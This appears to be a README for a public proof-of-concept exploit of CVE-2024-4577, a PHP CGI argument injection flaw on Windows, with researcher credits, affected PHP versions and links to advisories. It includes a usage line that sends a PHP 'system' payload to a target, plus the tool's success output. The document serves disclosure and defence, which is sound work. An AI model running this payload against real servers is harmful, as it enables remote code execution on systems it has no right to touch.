CVE-2024-4577

A Proof of Concept developed by @watchTowr exploiting the PHP CGI Argument Injection vulnerability (CVE-2024-4577) to obtain RCE on a vulnerable PHP version running in a Windows environment. Detailed technical analysis for this vulnerability

Orange Tsi 🍊

This vulnerability was found by Orange Tsai (@orange_8361) of DEVCORE (@d3vc0r3). Make sure to follow his outstanding research, our role was to only recreate and develop the exploit for this issue.

PoC || GTFO

python watchTowr-vs-php_cve-2024-4577.py -c "<?php system('calc');?>" -t http://192.168.253.132/test.sina
                         __         ___  ___________
         __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________
         \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
          \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
           \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|
                                  \/          \/     \/

        watchTowr-vs-php_cve-2024-4577.py
        (*) PHP CGI Argument Injection (CVE-2024-4577) discovered by Orange Tsai (@orange_8361) of DEVCORE (@d3vc0r3)
          - Aliz Hammond, watchTowr (aliz@watchTowr.com)
          - Sina Kheirkhah (@SinSinology), watchTowr (sina@watchTowr.com)
        CVEs: [CVE-2024-4577]
(^_^) prepare for the Pwnage (^_^)

(+) Exploit was successful

Affected Versions

based on the original blog post by DEVCORE (@d3vc0r3) This vulnerability affects all versions of PHP installed on the Windows operating system:

PHP 8.3 < 8.3.8
PHP 8.2 < 8.2.20
PHP 8.1 < 8.1.29

Since the branch of PHP 8.0, PHP 7, and PHP 5 are End-of-Life, and are no longer maintained anymore, server admins can refer to the Am I Vulnerable section HERE to find temporary patch recommendations in the Mitigation Measure section.

Exploit authors

Aliz (@AlizTheHax0r) and Sina Kheirkhah (@SinSinology) of watchTowr (@watchtowrcyber)

Follow watchTowr Labs

For the latest security research follow the watchTowr Labs Team

• https://labs.watchtowr.com/
• https://twitter.com/watchtowrcyber
• https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/
• https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html
• https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/